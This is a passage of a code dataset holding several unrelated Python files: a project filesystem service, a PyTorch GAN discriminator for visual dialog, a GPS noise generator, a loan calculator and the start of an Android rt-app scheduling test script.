tensor.clone().detach().cpu().numpy())\n else:\n print(str(time_now) + ' || '+ tensor_name + ' value: ', tensor)\n\n\nclass LProfiler():\n def __init__(self):\n self.index = 0\n self.time_list = [time.time()]\n def point(self, info):\n self.time_list += [time.time()]\n self.index += 1\n print(info, \"|\", self.time_list[self.index]-self.time_list[self.index-1])\n\n\n\n","sub_path":"python/coqa/noise_util.py","file_name":"noise_util.py","file_ext":"py","file_size_in_byte":8766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"42992956","text":"import os\nimport shutil\nfrom os.path import *\n\nfrom cfgreader import ConfigReader\nfrom pinstance import ProjectInstance, PMeta, PROJECT_NOT_STARTED\nfrom service.proxies.service import ServiceProxy\n\n\nLOCKFILE = '.lockfile'\n\n\nclass ProjectFilesystem(ServiceProxy):\n \"\"\"\n An implementation of the project system of the service\n \"\"\"\n\n def __init__(self, root, calculator, cfg_source='default.cfg'):\n \"\"\"\n Initializes a new ProjectFilesystem with the given root path.\n\n Additionally, the whole system will change to this directory.\n\n TODO: Changing the relative working directory shouldn't really be\n done except if we are really sure that it is not going to affect any\n other components.\n\n :param root: the path to the root\n \"\"\"\n if isinstance(root, str):\n if not os.path.exists(root):\n raise PathDoesNotExist(root)\n if not os.access(root, os.R_OK) or not os.access(root, os.W_OK):\n raise WrongPermissions()\n\n self.root = root\n self.threads = {}\n self.calculator = calculator\n self.cfg_source = cfg_source\n\n # We call chdir once and only and stay there because it is not\n # really threadsafe e.g. changing dirs while maintaining multiple\n # threads = severe agony.\n os.chdir(root)\n else:\n raise WrongDataType(type(root), str)\n\n def proj_dir(self, proj_id):\n return join(self.root, proj_id)\n\n def is_project(self, proj_id):\n return isfile(join(proj_id, self.cfg_source))\n\n def project_list(self):\n \"\"\"\n Lists all projects in the root directory.\n\n Technically, a directory is a project if it has a configuration file.\n Otherwise it will be excluded from the result of this method.\n\n :return: the list of projects in the root directory\n :rtype: list\n \"\"\"\n proj_list = []\n for d in os.listdir(self.root):\n if self.is_project(d):\n proj_list.append(d)\n return proj_list\n\n def project_status(self, proj_id):\n self.load_instance(proj_id)\n if proj_id not in self.threads:\n raise ProjectDoesNotExist()\n return self.threads[proj_id].get_pmeta()\n\n def load_instance(self, proj_id, restart=False):\n if not self.is_project(proj_id):\n return\n if proj_id in self.threads and not restart:\n return\n\n pmeta = PMeta(no_calculated=0, no_jobs=0, session_id=0,\n service_status=PROJECT_NOT_STARTED,\n proj_id=proj_id)\n\n cfg_source = join(self.proj_dir(proj_id), self.cfg_source)\n cfg = ConfigReader(root_dir=self.proj_dir(proj_id),\n metafile=join(self.proj_dir(proj_id), '.metafile'),\n cfg_source=open(cfg_source, 'r'))\n\n self.threads[proj_id] = ProjectInstance(cfg=cfg,\n calculator=self.calculator,\n pmeta=pmeta,\n proxy=self)\n\n def get_project_instance(self, proj_id):\n return self.threads[proj_id]\n\n def add_project(self, proj_id):\n \"\"\"\n Add a project directory with a name\n\n :param str proj_id: The name of the project directory\n :raise ProjectNameIsAlreadyInUse: if a project directory with the\n given name already exists.\n \"\"\"\n\n if exists(self.proj_dir(proj_id)):\n raise ProjectNameIsAlreadyInUse(proj_id)\n os.mkdir(self.proj_dir(proj_id))\n\n def remove_project(self, proj_id):\n \"\"\"\n Removes a project directory with the given name\n\n :param str proj_id: the name of the project directory\n :raise ProjectDoesNotExist: if the project directory doesn't exist\n \"\"\"\n if not exists(self.proj_dir(proj_id)):\n raise ProjectDoesNotExist(proj_id)\n shutil.rmtree(self.proj_dir(proj_id))\n\n def project_done(self, proj_id):\n lockfile = join(self.proj_dir(proj_id), LOCKFILE)\n if os.path.exists(lockfile):\n os.remove(lockfile)\n\n def start_project(self, proj_id):\n \"\"\"\n Starts the given project with the proj_id\n\n :param str proj_id: the name of the project \n :raise ProjectDoesNotExist: if the project directory doesn't exist\n \"\"\"\n # The lockfile\n lockfile = join(self.proj_dir(proj_id), LOCKFILE)\n if os.path.exists(lockfile):\n raise Exception(\"The project is locked.\")\n open(lockfile, 'a').close()\n\n self.load_instance(proj_id, True)\n self.threads[proj_id].start()\n\n # This return, which is required otherwise the method won't\n # return, is still mysterious to me.\n return\n\n def stop_project(self, proj_id):\n \"\"\"\n A project will be stopped/unlocked.\n\n :param str proj_id: the name of the project\n :raise ProjectDoesNotExist: if the project directory doesn't exist\n \"\"\"\n lockfile = join(self.proj_dir(proj_id), LOCKFILE)\n if os.path.isfile(lockfile):\n os.remove(lockfile)\n if proj_id in self.threads:\n self.threads[proj_id].stop()\n\n\n\nclass WrongDataType(Exception):\n \"\"\"\n This exception will be thrown, if the type of the variable is wrong.\n \"\"\"\n\n def __init__(self, wrong_type=None, valid_type=None):\n self.wrong_type = wrong_type\n self.valid_type = valid_type\n\n def __str__(self):\n if self.wrong_type is not None and self.valid_type is not None:\n return repr(\"The wrong type: \" +\n self.wrong_type + \" was used instead of \"\n \"\" + self.valid_type + \".\")\n elif self.wrong_type is not None:\n return repr(\"The wrong type: \" +\n self.wrong_type + \" was used.\")\n else:\n return repr(\"The wrong type was used.\")\n\n\nclass PathDoesNotExist(Exception):\n \"\"\"\n This exception will be thrown, if the path doesn't exist.\n \"\"\"\n\n def __init__(self, path=None):\n if isinstance(path, str) or path is None:\n self.path = path\n else:\n raise WrongDataType(type(path), str)\n\n def __str__(self):\n if self.path is not None:\n return repr(\"The path \" + self.path + \" doesn't exist.\")\n else:\n return repr(\"The path doesn't exist.\")\n\n\nclass ProjectNameIsAlreadyInUse(Exception):\n \"\"\"\n This exception will be thrown, if the project name is already in use.\n \"\"\"\n\n def __init__(self, name=None):\n if isinstance(name, str) or name is None:\n self.name = name\n else:\n raise WrongDataType(type(name), str)\n\n def __str__(self):\n if self.name is not None:\n return repr(\"The project name \" + self.name + \" is already in use.\")\n else:\n return repr(\"The project name is already in use.\")\n\n\nclass ProjectDoesNotExist(Exception):\n \"\"\"\n This exception will be thrown, if the project doesn't exist\n \"\"\"\n\n def __init__(self, name=None):\n if isinstance(name, str) or name is None:\n self.name = name\n else:\n raise WrongDataType(type(name), str)\n\n def __str__(self):\n if self.name is not None:\n return repr(\"The project \" + self.name + \" doesn't exist.\")\n else:\n return repr(\"The project doesn't exist.\")\n\n\nclass WrongPermissions(Exception):\n \"\"\"\n This exception will be thrown, if the user has no write and read\n permissions to a certain file.\n \"\"\"\n\n def __init__(self):\n pass\n\n def __str__(self):\n return repr(\"This path don't have write or/and read permissions.\")\n\n","sub_path":"service/proxies/filesystem.py","file_name":"filesystem.py","file_ext":"py","file_size_in_byte":7895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"521059103","text":"from collections import Counter, defaultdict\nfrom gensim.models import Word2Vec\nfrom nltk import word_tokenize\nfrom nltk.translate.bleu_score import sentence_bleu\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torchvision import models, transforms\n\nimport json\nimport numpy as np\nimport random\nimport torch\nimport torch.nn.functional as F\nimport ABot\nimport json\nimport h5py\nimport time\nimport dataloader\nimport math\nimport ABot_Encoder\nimport ABot_Decoder\nimport QBot\nimport QBot_Encoder\nimport QBot_Decoder\n\n# torch.backends.cudnn.enabled = False\n# # random.seed(32)\n# # np.random.seed(32)\n# # torch.manual_seed(7)\n# # torch.cuda.manual_seed_all(7)\n# #Load Data\n# dialog_loc = '../../../../CS532L-Project/chat_processed_data.h5'\n# param_loc = '../../../../CS532L-Project/chat_processed_params.json'\n# image_loc = '../../../../CS532L-Project/data_img.h5'\n\n# data = dataloader.DataLoader(dialog_loc, image_loc, param_loc)\n# print (\"Done: Data Preparation\")\n\n#CUDA\nUSE_CUDA = False\ngpu = 0\n\n# #Parameters\n# params = {}\n# params['batch_first'] = False\n# params['num_layers'] = 2\n# params['hidden_dim'] = 512\n# params['embed_size'] = 300\n# params['vocab_size'] = len(data.ind2word.keys())\n# params['embedding_size'] = 300\n# params['vgg_out'] = 4096\n# params['image_embed_size'] = 300\n# params['batch_size']=150\n# params['epochs'] = 40\n# params['rnn_type'] = 'LSTM'\n# params['num_dialogs'] = 10\n# params['sampleWords'] = False\n# params['temperature'] = 0.3\n# params['beamSize'] = 5\n# params['beamLen'] = 20\n# params['word2ind'] = data.word2ind\n# params['ind2word'] = data.ind2word\n# params['USE_CUDA'] = True\n# params['gpu'] = gpu\n\n\n\n# compute_ranks = False\n# # current_epoch_ABot = 25\n# # current_epoch_QBot = 20\n\n\n\nclass QuestionEncoder(nn.Module):\n def __init__(self, input_dim, output_dim, rnn='LSTM', num_layers=1, batch_first=True):\n super(QuestionEncoder, self).__init__()\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.rnn = rnn\n self.num_layers = num_layers\n self.lstm = getattr(nn, rnn)(self.input_dim, self.output_dim, num_layers)\n\n def forward(self, X, hidden_state):\n lstm_out, hidden_state = self.lstm(X, hidden_state)\n return lstm_out, hidden_state\n\n def initHidden(self, batch_size):\n weight = next(self.parameters()).data\n if self.rnn == 'LSTM':\n return (Variable(weight.new(self.num_layers, batch_size, self.output_dim).zero_()), Variable(weight.new(self.num_layers, batch_size, self.output_dim).zero_()))\n else:\n return Variable(weight.new(self.num_layers, batch_size, self.output_dim).zero_())\n\nclass AnswerEncoder(nn.Module):\n def __init__(self, input_dim, output_dim, rnn='LSTM', num_layers=1, batch_first=True):\n super(AnswerEncoder, self).__init__()\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.rnn = rnn\n self.num_layers = num_layers\n self.lstm = getattr(nn, rnn)(self.input_dim, self.output_dim, num_layers)\n\n def forward(self, X, hidden_state):\n lstm_out, hidden_state = self.lstm(X, hidden_state)\n return lstm_out, hidden_state\n\n def initHidden(self, batch_size):\n weight = next(self.parameters()).data\n if self.rnn == 'LSTM':\n return (Variable(weight.new(self.num_layers, batch_size, self.output_dim).zero_()), Variable(weight.new(self.num_layers, batch_size, self.output_dim).zero_()))\n\n\n\nlinear_img_layer_dict = torch.load('outputs/linear_300.tar')\n# ImgEmbedLayer = LinearL()\n\n# ImgEmbedLayer.load_state_dict(linear_img_layer_dict)\n# if USE_CUDA:\n# ImgEmbedLayer = ImgEmbedLayer.cuda(gpu)\n\nclass LinearL(nn.Module):\n def __init__(self):\n super(LinearL, self).__init__()\n self.linear = nn.Linear(4096,300)\n\n def forward(self, X):\n out = F.tanh(self.linear(X))\n return out\n\nclass Discriminator_Img(nn.Module):\n def __init__(self, params):\n super(Discriminator_Img, self).__init__()\n self.params = params\n# embedding_weights = np.random.random((params['vocab_size'], params['embed_size']))\n# embedding_weights[0,:] = np.zeros((1, params['embed_size']))\n self.img_embed_layer = LinearL()\n self.img_embed_layer.load_state_dict(linear_img_layer_dict)\n for param in self.img_embed_layer.parameters():\n param.requires_grad = False\n\n self.linear_ans_vocab_layer = nn.Linear(params['vocab_size'],params['embed_size'])\n self.linear_ques_vocab_layer = nn.Linear(params['vocab_size'],params['embed_size'])\n# self.ans_embedding_layer = ABot.EmbeddingLayer(embedding_weights)\n# self.ques_embedding_layer = ABot.EmbeddingLayer(embedding_weights)\n self.question_encoder = QuestionEncoder(params['embedding_size'], params['hidden_dim'], num_layers=params['num_layers'], rnn=params['rnn_type'], batch_first=params['batch_first'])\n self.answer_encoder = AnswerEncoder(params['embedding_size'], params['hidden_dim'], num_layers=params['num_layers'], rnn=params['rnn_type'], batch_first=params['batch_first'])\n self.linear1 = nn.Linear(2*params['num_layers']*params['hidden_dim'] + params['image_embed_size'], params['linear_hidden'])\n self.activation = getattr(nn, params['activation'])()\n self.linear2 = nn.Linear(params['linear_hidden'], 1)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, question_batch, question_batch_len, answer_batch, answer_batch_len, batch_size, images_tensor):\n batch_mode = True\n sort_index = 0 if self.params['batch_first'] else 1\n\n question_batch_embedding = self.linear_ques_vocab_layer(question_batch)\n answer_batch_embedding = self.linear_ans_vocab_layer(answer_batch)\n# question_batch_embedding = self.ques_embedding_layer(question_batch)\n# answer_batch_embedding = self.ans_embedding_layer(answer_batch)\n #print(\"answer_batch_embedding\", answer_batch_embedding.size())\n question_batch_encoder_hidden = self.question_encoder.initHidden(batch_size=batch_size)\n answer_batch_encoder_hidden = self.answer_encoder.initHidden(batch_size=batch_size)\n assert(batch_size == answer_batch_embedding.size(0))\n if batch_mode:\n question_batch_length_tensor_sorted, question_perm_idx = question_batch_len.sort(0, descending=True)\n _, question_perm_idx_resort = question_perm_idx.sort(0, descending=False)\n question_batch_embedding = question_batch_embedding.index_select(0,question_perm_idx)\n if not self.params['batch_first']:\n question_batch_embedding = question_batch_embedding.transpose(0,1)\n packed_question_batch_embedding = nn.utils.rnn.pack_padded_sequence(question_batch_embedding, question_batch_length_tensor_sorted.data.cpu().numpy(), batch_first=self.params['batch_first'])\n packed_question_batch_encoding, question_batch_encoder_hidden = self.question_encoder(packed_question_batch_embedding, question_batch_encoder_hidden)\n output_question_batch_encoding, _ = nn.utils.rnn.pad_packed_sequence(packed_question_batch_encoding)\n output_question_batch_encoding = output_question_batch_encoding.index_select(sort_index,question_perm_idx_resort)\n if self.params['rnn_type'] == 'LSTM':\n question_batch_encoder_hidden = (question_batch_encoder_hidden[0].index_select(1, question_perm_idx_resort), question_batch_encoder_hidden[1].index_select(1, question_perm_idx_resort))\n else:\n question_batch_encoder_hidden = question_batch_encoder_hidden.index_select(1, question_perm_idx_resort)\n else:\n if not self.params['batch_first']:\n question_batch_embedding = question_batch_embedding.transpose(0,1)\n output_question_batch_encoding, question_batch_encoder_hidden = self.question_encoder(question_batch_embedding, question_batch_encoder_hidden)\n\n\n if batch_mode:\n answer_batch_length_tensor_sorted, answer_perm_idx = answer_batch_len.sort(0, descending=True)\n _, answer_perm_idx_resort = answer_perm_idx.sort(0, descending=False)\n answer_batch_embedding = answer_batch_embedding.index_select(0,answer_perm_idx)\n if not self.params['batch_first']:\n answer_batch_embedding = answer_batch_embedding.transpose(0,1)\n packed_answer_batch_embedding = nn.utils.rnn.pack_padded_sequence(answer_batch_embedding, answer_batch_length_tensor_sorted.data.cpu().numpy(), batch_first=self.params['batch_first'])\n packed_answer_batch_encoding, answer_batch_encoder_hidden = self.answer_encoder(packed_answer_batch_embedding, answer_batch_encoder_hidden)\n output_answer_batch_encoding, _ = nn.utils.rnn.pad_packed_sequence(packed_answer_batch_encoding)\n output_answer_batch_encoding = output_answer_batch_encoding.index_select(sort_index,answer_perm_idx_resort)\n if self.params['rnn_type'] == 'LSTM':\n answer_batch_encoder_hidden = (answer_batch_encoder_hidden[0].index_select(1, answer_perm_idx_resort), answer_batch_encoder_hidden[1].index_select(1, answer_perm_idx_resort))\n else:\n answer_batch_encoder_hidden = answer_batch_encoder_hidden.index_select(1, answer_perm_idx_resort)\n\n else:\n if not self.params['batch_first']:\n answer_batch_embedding = answer_batch_embedding.transpose(0,1)\n output_answer_batch_encoding, answer_batch_encoder_hidden = self.answer_encoder(answer_batch_embedding, answer_batch_encoder_hidden)\n\n\n #Just taking two hidden state\n #print(question_batch_encoder_hidden[0].size())\n question_batch_encoder_hidden = question_batch_encoder_hidden[0]\n answer_batch_encoder_hidden = answer_batch_encoder_hidden[0]\n assert(self.params['num_layers'] == 2)\n mlp_ques_input = question_batch_encoder_hidden.narrow(0,0,1).view(batch_size,-1)\n mlp_ans_input = answer_batch_encoder_hidden.narrow(0,0,1).view(batch_size,-1)\n\n #print(\"mlp_ans\", mlp_ans_input.size())\n #print(\"mlp_ques\", mlp_ques_input.size())\n\n for l in range(1,self.params['num_layers']):\n mlp_ques_input = torch.cat((mlp_ques_input, question_batch_encoder_hidden.narrow(0, l, 1).view(batch_size,-1)),1)\n mlp_ans_input = torch.cat((mlp_ans_input, answer_batch_encoder_hidden.narrow(0,l,1).view(batch_size,-1)),1)\n\n #print(\"mlp_ans\", mlp_ans_input.size())\n #print(\"mlp_ques\", mlp_ques_input.size())\n\n # ImagesVar = Variable(torch.from_numpy(batch_i['images']), requires_grad = False).cuda(gpu)\n outImages = self.img_embed_layer(images_tensor)\n #print(out.size())\n\n mlp_input = torch.cat((mlp_ques_input, mlp_ans_input),1)\n #print(\"mlp_input\", mlp_input.size())\n mlp_input = torch.cat((mlp_input, outImages),1)\n\n #print(\"mlp_input\", mlp_input.size())\n\n\n mlp_out = self.linear1(mlp_input)\n #print(\"mlp_out\", mlp_out.size())\n mlp_out = self.activation(mlp_out)\n mlp_out = self.linear2(mlp_out)\n #print(\"mlp_out\", mlp_out.size())\n mlp_out = self.sigmoid(mlp_out)\n return mlp_out\n\ndef getOneHot(output_batch_tensor):\n #print(output_batch_tensor.size())\n output_batch_tensor.unsqueeze_(2)\n y_onehot_2 = torch.FloatTensor(output_batch_tensor.size(0), output_batch_tensor.size(1), params['vocab_size'])\n y_onehot_2.zero_()\n #print(\"val_b\",y_onehot[0,0,3679])\n y_onehot_2.scatter_(2,output_batch_tensor.data,1)\n\n# for i in range(y_onehot.size(0)):\n# y_onehot[i].scatter_(1, output_batch_tensor.data[i], 1)\n return y_onehot_2\n\ndef LoadDiscriminator(params):\n params['activation'] = 'Sigmoid'\n params['linear_hidden'] = 300\n D_img = Discriminator_Img(params)\n d_img_optimizer = torch.optim.Adam(filter(lambda p: p.requires_grad, D_img.parameters()), lr=0.001, betas=(0.5, 0.999))\n BCE_loss = nn.BCELoss()\n\n USE_CUDA = True\n\n checkpoint = torch.load('outputs/discr_0')\n D_img.load_state_dict(checkpoint['discriminator'])\n d_img_optimizer.load_state_dict(checkpoint['optimizer'])\n # for param in D_img.img_embed_layer.parameters():\n # param.requires_grad = True\n # #d_img_optimizer = torch.optim.Adam(filter(lambda p: p.requires_grad, D_img.parameters()), lr=0.001, betas=(0.5, 0.999))\n # d_img_optimizer = torch.optim.Adam(D_img.parameters(), lr=0.001, betas=(0.5, 0.999))\n\n\n if params['USE_CUDA']:\n D_img = D_img.cuda(gpu)\n\n print(USE_CUDA)\n if params['USE_CUDA']:\n D_img = D_img.cuda(gpu)\n BCE_loss = BCE_loss.cuda(gpu)\n return D_img, d_img_optimizer, BCE_loss\n\ndef train_discriminator(ABatch, QBatch, discr, d_img_optimizer, sampledAnswers,ans_sample_len, sampledQuestions, ques_sample_len,params):\n\n question_batch = ABatch['questions'][:,dialog_num,:].astype(np.int)\n question_batch_len = ABatch['questions_length'][:,dialog_num].astype(np.int)\n answer_batch_len = QBatch['answers_length'][:,dialog_num].astype(np.int)\n answer_output_batch = QBatch['answers'][:,dialog_num+1,:].astype(np.int)\n question_batch_tensor = Variable(torch.from_numpy(question_batch).long(), volatile=volatile, requires_grad=False)\n question_batch_length_tensor = Variable(torch.from_numpy(question_batch_len).long(), volatile=volatile)\n ques_sample_len = Variable(torch.from_numpy(ques_sample_len).long(), volatile=volatile)\n answer_batch_length_tensor = Variable(torch.from_numpy(answer_batch_len).long(), volatile=volatile)\n ans_sample_len = Variable(torch.from_numpy(ans_sample_len).long(), volatile=volatile)\n\n answer_output_batch_tensor = Variable(torch.from_numpy(answer_output_batch).long(), volatile=volatile, requires_grad=False)\n zeros_v = Variable(torch.zeros(params['batch_size'],params['beamLen'] - answer_output_batch_tensor.size(1)).long())\n answer_output_batch_tensor = torch.cat((answer_output_batch_tensor, zeros_v),1)\n answer_output_batch_tensor = Variable(getOneHot(answer_output_batch_tensor), volatile = volatile, requires_grad=False)\n question_batch_tensor = Variable(getOneHot(question_batch_tensor), volatile = volatile, requires_grad=False)\n if USE_CUDA:\n question_batch_tensor = question_batch_tensor.cuda(gpu)\n question_batch_length_tensor = question_batch_length_tensor.cuda(gpu)\n answer_batch_length_tensor = answer_batch_length_tensor.cuda(gpu)\n ques_sample_len = ques_sample_len.cuda(gpu)\n answer_output_batch_tensor = answer_output_batch_tensor.cuda(gpu)\n zeros_v = zeros_v.cuda(gpu)\n answer_output_batch_tensor = answer_output_batch_tensor.cuda(gpu)\n ans_sample_len = ans_sample_len.cuda(gpu)\n sampledQuestions = sampledQuestions.cuda(gpu)\n sampledAnswers = sampledAnswers.cuda(gpu)\n\n volatile = False\n\n d_img_optimizer.zero_grad()\n batch_size = params['batch_size']\n\n #print(d_real_result)\n y_real = Variable(torch.ones(batch_size))\n y_fake = Variable(torch.zeros(batch_size))\n\n if USE_CUDA:\n y_real = y_real.cuda(gpu)\n y_fake = y_fake.cuda(gpu)\n\n d_real_result = discr(question_batch_tensor, question_batch_length_tensor, answer_output_batch_tensor, answer_batch_length_tensor, params['batch_size'], batch).squeeze()\n d_real_loss = BCE_loss(d_real_result, y_real)\n\n d_fake_result = discr(sampledQuestions, ques_sample_len, sampledAnswers, ans_sample_len, params['batch_size'], batch).squeeze()\n d_fake_loss = BCE_loss(d_fake_result, y_fake)\n\n d_train_loss = d_real_loss + d_fake_loss\n\n\n d_train_loss.backward()\n d_img_optimizer.step()\n #d_losses.append(d_train_loss.data[0])\n\n print(\"D: loss: R: \",d_real_loss.data[0],\"F: \",d_fake_loss.data[0], \"C: \", d_train_loss.data[0])\n\n # g_fake_result = discr(sampledQuestions, ques_sample_len, sampledAnswers, ans_sample_len, params['batch_size'], batch).squeeze()\n\n# g_fake_loss = BCE_loss(g_fake_result, y_real)\n\n# g_train_loss = g_fake_loss\n\n# print(\"G: loss\", g_train_loss.data[0])\n return\n\ndef get_discriminator_loss(discr, sampledAnswers, ans_sample_len, sampledQuestions, ques_sample_len, images_tensor, params, BCE_loss, batch_size=None):\n volatile = False\n if batch_size is None:\n batch_size = params['batch_size']\n y_real = Variable(torch.ones(batch_size))\n y_fake = Variable(torch.zeros(batch_size))\n\n if params['USE_CUDA']:\n y_real = y_real.cuda(gpu)\n y_fake = y_fake.cuda(gpu)\n# if not gen_opt:\n\n# d_real_result = discr(question_batch_tensor, question_batch_length_tensor, answer_output_batch_tensor, answer_batch_length_tensor, params['batch_size'], batch).squeeze()\n# d_real_loss = BCE_loss(d_real_result, y_real)\n\n# d_fake_result = discr(sampledQuestions, ques_sample_len, sampledAnswers, ans_sample_len, params['batch_size'], batch).squeeze()\n# d_fake_loss = BCE_loss(d_fake_result, y_fake)\n\n# d_train_loss = d_real_loss + d_fake_loss\n\n\n# d_train_loss.backward()\n# d_img_optimizer.step()\n# d_losses.append(d_train_loss.data[0])\n\n# print(\"D: loss: R: \",d_real_loss.data[0],\"F: \",d_fake_loss.data[0], \"C: \", d_train_loss.data[0])\n\n g_fake_result = discr(sampledQuestions, ques_sample_len, sampledAnswers, ans_sample_len, batch_size, images_tensor).squeeze()\n g_fake_loss = BCE_loss(g_fake_result, y_real)\n g_train_loss = g_fake_loss\n return g_train_loss\n","sub_path":"Interact/train_discr_gen_api.py","file_name":"train_discr_gen_api.py","file_ext":"py","file_size_in_byte":17556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"242477954","text":"import csv\nimport numpy as np\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n\nclass DataPoint:\n def __init__(self, timestamp, speed, point, device_id):\n self.timestamp = timestamp\n self.speed = speed\n self.point = point\n self.device_id = device_id\n\n\ndef read_data(file_path='data/data.csv'):\n with open(file_path, 'r') as file:\n data_points = []\n\n reader = csv.reader(file)\n next(reader, None) # skip the headers\n\n for row in reader:\n try:\n speed = float(row[1])\n except ValueError:\n speed = None\n\n data_points.append(DataPoint(\n timestamp=int(float(row[0])),\n speed=speed,\n point=Point(x=float(row[2].split(' ')[1][1:]), y=float(row[2].split(' ')[2][:-1])),\n device_id=row[3]\n ))\n\n return data_points\n\n\ndef add_noise_to_data_points(file_path='data/data.csv', synthesised_data_path='syn_data/noise_1.csv', plus_hour=3.6e+9):\n data_points = read_data(file_path)\n\n for data_point in data_points:\n data_point.point.x += np.random.normal(0, .1)\n data_point.point.y += np.random.normal(0, .1)\n\n write_data_points_in_csv_file(data_points, synthesised_data_path, plus_hour)\n\n\ndef write_data_points_in_csv_file(data_points, synthesised_data_path='syn_data/noise_1.csv', plus_hour=3.6e+9):\n with open(synthesised_data_path, 'w') as synthesised_data_file:\n writer = csv.writer(synthesised_data_file)\n\n for data_point in data_points:\n speed = data_point.speed\n if speed is None:\n speed = 'null'\n\n point = 'POINT (' + str(data_point.point.x) + ' ' + str(data_point.point.y) + ')'\n\n row = [\n data_point.timestamp + plus_hour,\n speed,\n point,\n data_point.device_id\n ]\n\n writer.writerow(row)\n\n\nfor i in range(1, 12, 2):\n add_noise_to_data_points(synthesised_data_path='syn_data/noise_' + str(i) + '.csv',\n plus_hour=i * 3.6e+9)\n","sub_path":"noise_adder.py","file_name":"noise_adder.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"219070126","text":"balance = raw_input('Please enter the balance: ')\nbalance = float(balance)\nair = raw_input('Please enter the annual intrest rate: ')\nair = float(air)\ntol = 10\nmonthlyPayment = 0\nx = 1\nbalanceCheck = balance\nlowerBound = balance/12\nlowerBound = round(lowerBound, 2)\nupperBound = (balance * (1 + (air/12.0))**12.0)/12.0\nupperBound = round(upperBound, 2)\nbisection = (upperBound + lowerBound)/2\nbisection = round(bisection)\nprint(lowerBound)\nprint(upperBound)\nprint(bisection)\nprint('********')\n\nwhile (abs(balanceCheck) > tol):\n\n#while (balanceCheck > 0):\n monthlyPayment = monthlyPayment + tol\n monthlyPayment = round(monthlyPayment, 2)\n balanceCheck = balance\n x = 0\n while ((x < 12) and (balanceCheck > 0)):\n intrestPaid = (air/12)*balanceCheck\n intrestPaid = round(intrestPaid, 2)\n principalPaid = monthlyPayment - intrestPaid\n principalPaid = round(principalPaid, 2)\n balanceCheck = balanceCheck - principalPaid\n balanceCheck = round(balanceCheck,2)\n x = x + 1\nprint(monthlyPayment)\nprint(x)\nprint(balanceCheck)","sub_path":"p1c.py","file_name":"p1c.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"115788729","text":"#!/usr/bin/env python\n\nimport logging\nimport conf\nfrom conf import LisaLogging\nLisaLogging.setup()\n\n# %pylab inline\nimport json\nimport os, subprocess\n# Support to access the remote target\nimport devlib\nfrom env import TestEnv\n# Import support for Android devices\nfrom android import Screen, Workload, System\n# Support for trace events analysis\nfrom trace import Trace\n# Suport for FTrace events parsing and visualization\nimport trappy\nimport pandas as pd\nimport sqlite3\n\n# Support to configure and run RTApp based workloads\nfrom wlgen import RTA, Periodic, Ramp, Step, Pulse\n\ndef exec_cmd(cmd):\n logging.info(\"exec cmd: \" + cmd)\n try:\n ret = subprocess.check_output(cmd, shell=True).rstrip()\n except:\n ret = \"ERROR\"\n return ret\n\n# Setup target configuration\nmy_conf = {\n\n # Target platform and board\n \"platform\" : 'android',\n \"board\" : 'pixel',\n \n # Device\n \"device\" : \"FA6CP0301577\",\n \n # Android home\n \"ANDROID_HOME\" : \"/home/joelaf/Android/Sdk/\",\n\n # Folder where all the results will be collected\n \"results_dir\" : \"rt_push\",\n\n # FTrace events to collect for all the tests configuration which have\n # the \"ftrace\" flag enabled\n \"ftrace\" : {\n \"events\" : [\n \"sched_switch\",\n \"sched_wakeup\",\n \"sched_wakeup_new\",\n ],\n \"buffsize\" : 100 * 1024,\n },\n\n # Tools required by the experiments\n \"tools\" : [ 'trace-cmd', 'taskset', 'rt-app'],\n\n \"rtapp-calib\" : {\"0\": 104, \"1\": 104, \"2\": 78, \"3\": 79},\n}\n\n# Initialize a test environment using:\nte = TestEnv(my_conf, wipe=False)\ntarget = te.target\nexec_cmd('adb root');\nexec_cmd('sleep 2');\n\ntarget.cpufreq.set_all_governors('performance')\n\nrtapp = RTA(target, 'simple', calibration=te.calibration())\n\n\"\"\"\n# Configure this RTApp instance to:\nrtapp.conf(\n# 1. generate a \"profile based\" set of tasks\n kind='profile',\n \n # 2. define the \"profile\" of each task\n params={\n 'cfs1': Periodic(\n period_ms=100, # period\n duty_cycle_pct=100, # duty cycle\n duration_s=30, # duration\n cpus=[0], # run on Gold\n sched={\n \"policy\": \"OTHER\", # Run this task as a SCHED_OTHER task\n },\n delay_s=0 # start at the start of RTApp\n ).get(),\n 'cfs2': Periodic(\n period_ms=100, # period\n duty_cycle_pct=100, # duty cycle\n duration_s=30, # duration\n cpus=[1], # run on Gold\n sched={\n \"policy\": \"OTHER\", # Run this task as a SCHED_OTHER task\n },\n delay_s=0 # start at the start of RTApp\n ).get(),\n 'cfs3': Periodic(\n period_ms=100, # period\n duty_cycle_pct=100, # duty cycle\n duration_s=30, # duration\n cpus=[2], # run on Gold\n sched={\n \"policy\": \"OTHER\", # Run this task as a SCHED_OTHER task\n },\n delay_s=0 # start at the start of RTApp\n ).get(),\n 'cfs4': Periodic(\n period_ms=100, # period\n duty_cycle_pct=100, # duty cycle\n duration_s=30, # duration\n cpus=[3], # run on Gold\n sched={\n \"policy\": \"OTHER\", # Run this task as a SCHED_OTHER task\n },\n delay_s=0 # start at the start of RTApp\n ).get(),\n\n 'victim': Periodic(\n period_ms=100, # period\n duty_cycle_pct=100, # duty cycle\n duration_s=25, # duration\n cpus=[2,3], # run on Gold\n sched={\n \"policy\" : \"FIFO\", # Run this task as a SCHED_FIFO task\n\t\t\"prio\" : '50'\n },\n delay_s=5 # start at the start of RTApp\n ).get(),\n\n 'pusher1': Periodic(\n period_ms=500, # period\n duty_cycle_pct=50, # duty cycle\n duration_s=22, # duration\n cpus=[2], # run on Gold\n sched={\n \"policy\" : \"FIFO\", # Run this task as a SCHED_FIFO task\n\t\t\"prio\" : '45'\n },\n delay_s=8 # start at the start of RTApp\n ).get(),\n\n 'pusher2': Periodic(\n period_ms=300, # period\n duty_cycle_pct=25, # duty cycle\n duration_s=20, # duration\n cpus=[3], # run on 